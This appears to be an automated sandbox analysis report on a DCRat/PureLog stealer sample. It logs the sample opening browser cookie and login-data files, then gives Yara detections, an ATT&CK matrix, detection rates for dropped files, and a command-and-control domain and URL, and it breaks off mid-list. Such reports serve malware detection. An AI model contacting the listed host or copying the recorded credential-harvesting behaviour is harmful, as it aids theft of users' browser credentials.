Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000006.00000002.2943874240.00000000031C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2943874240.0000000002EFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1784811145.0000000012B01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6G8OR42xrB.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: roKDGeHYZcczQzeuqXqYGYyw.exe PID: 7636, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6G8OR42xrB.exe, type: SAMPLE
Source: Yara match	File source: 0.0.6G8OR42xrB.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1694048075.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\dllhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 6G8OR42xrB.exe, type: SAMPLE
Source: Yara match	File source: 0.0.6G8OR42xrB.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\dllhost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	12 Process Injection	142 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6G8OR42xrB.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
6G8OR42xrB.exe	57%	Virustotal		Browse
6G8OR42xrB.exe	100%	Avira	HEUR/AGEN.1339906
6G8OR42xrB.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\atXTKUBx.log	100%	Avira	TR/Agent.jbwuj
C:\Users\Default\dllhost.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\user\Desktop\PNcvFrhU.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\UoIjEQAs.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\BjHNOjmt.log	100%	Avira	HEUR/AGEN.1362695
C:\Users\user\Desktop\JRkLjayM.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\AppData\Local\Temp\FAUFRY6lcW.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\JVzVcMcg.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\PRxDqpeG.log	100%	Avira	HEUR/AGEN.1362695
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	100%	Avira	HEUR/AGEN.1339906
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\Default\dllhost.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\PNcvFrhU.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\KSbdxLrb.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\fTDHJsUV.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\LPClTLGW.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\UoIjEQAs.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\BjHNOjmt.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\JRkLjayM.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\YnWavzTi.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\PRxDqpeG.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\DUneVxwm.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\bZrIRyWp.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\roKDGeHYZcczQzeuqXqYGYyw.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\dllhost.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\BjHNOjmt.log	17%	ReversingLabs
C:\Users\user\Desktop\DUneVxwm.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\DgrEkdUd.log	9%	ReversingLabs
C:\Users\user\Desktop\EdTMGdjY.log	8%	ReversingLabs
C:\Users\user\Desktop\HcknqPri.log	8%	ReversingLabs
C:\Users\user\Desktop\JRkLjayM.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\JVzVcMcg.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\KSbdxLrb.log	21%	ReversingLabs
C:\Users\user\Desktop\LPClTLGW.log	8%	ReversingLabs
C:\Users\user\Desktop\PAqlbTkE.log	12%	ReversingLabs
C:\Users\user\Desktop\PNcvFrhU.log	17%	ReversingLabs
C:\Users\user\Desktop\PRxDqpeG.log	17%	ReversingLabs
C:\Users\user\Desktop\QBgDqFdS.log	25%	ReversingLabs
C:\Users\user\Desktop\QxRtxTzz.log	25%	ReversingLabs
C:\Users\user\Desktop\UFPCSltu.log	8%	ReversingLabs
C:\Users\user\Desktop\UoIjEQAs.log	25%	ReversingLabs
C:\Users\user\Desktop\WDgcDXBE.log	29%	ReversingLabs
C:\Users\user\Desktop\YnWavzTi.log	8%	ReversingLabs
C:\Users\user\Desktop\atXTKUBx.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\bZrIRyWp.log	5%	ReversingLabs
C:\Users\user\Desktop\bhbbwhxv.log	12%	ReversingLabs
C:\Users\user\Desktop\fPizYvXj.log	9%	ReversingLabs
C:\Users\user\Desktop\fTDHJsUV.log	21%	ReversingLabs
C:\Users\user\Desktop\fbmaobua.log	8%	ReversingLabs
C:\Users\user\Desktop\gmAsnAGl.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\hNSqvpFT.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\jKtyRpUO.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\jgLrfuER.log	29%	ReversingLabs
C:\Users\user\Desktop\lILYBbbX.log	25%	ReversingLabs
C:\Users\user\Desktop\lQurfKCd.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\nWChmqEK.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\oKGqYEAI.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\qDMpIHRR.log	25%	ReversingLabs
C:\Users\user\Desktop\rBoyeGgL.log	8%	ReversingLabs
C:\Users\user\Desktop\rmOGvfrE.log	25%	ReversingLabs
C:\Users\user\Desktop\sKUgPnTy.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\tyYoAAPw.log	17%	ReversingLabs
C:\Users\user\Desktop\xtRXGmlA.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\ylqndxek.log	5%	ReversingLabs
C:\Users\user\Desktop\zmgFsjXy.log	8%	ReversingLabs
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Name	IP	Active	Malicious	Antivirus Detection	Reputation
895157cm.nyashteam.ru	172.67.186.200	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://895157cm.nyashteam.ru/videogeoflowertestuniversaldleLocalCentral.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://895157cm.nyashteam.ru/	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2943874240.0000000002B39000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://duckduckgo.com/chrome_newtab	roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013377000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013CAE000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013E7B000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013447000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013C16000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000132DF000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.00000000139DD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013773000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013AAD000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001320F000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000012EB2000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013176000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013696000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.000000001306E000.00000004.00000800.00020000.00000000.sdmp, roKDGeHYZcczQzeuqXqYGYyw.exe, 00000006.00000002.2955669260.0000000013B45000.00000004.00000800.00020000.00000000.sdmp, 2dsOMMkoGC.6.dr, 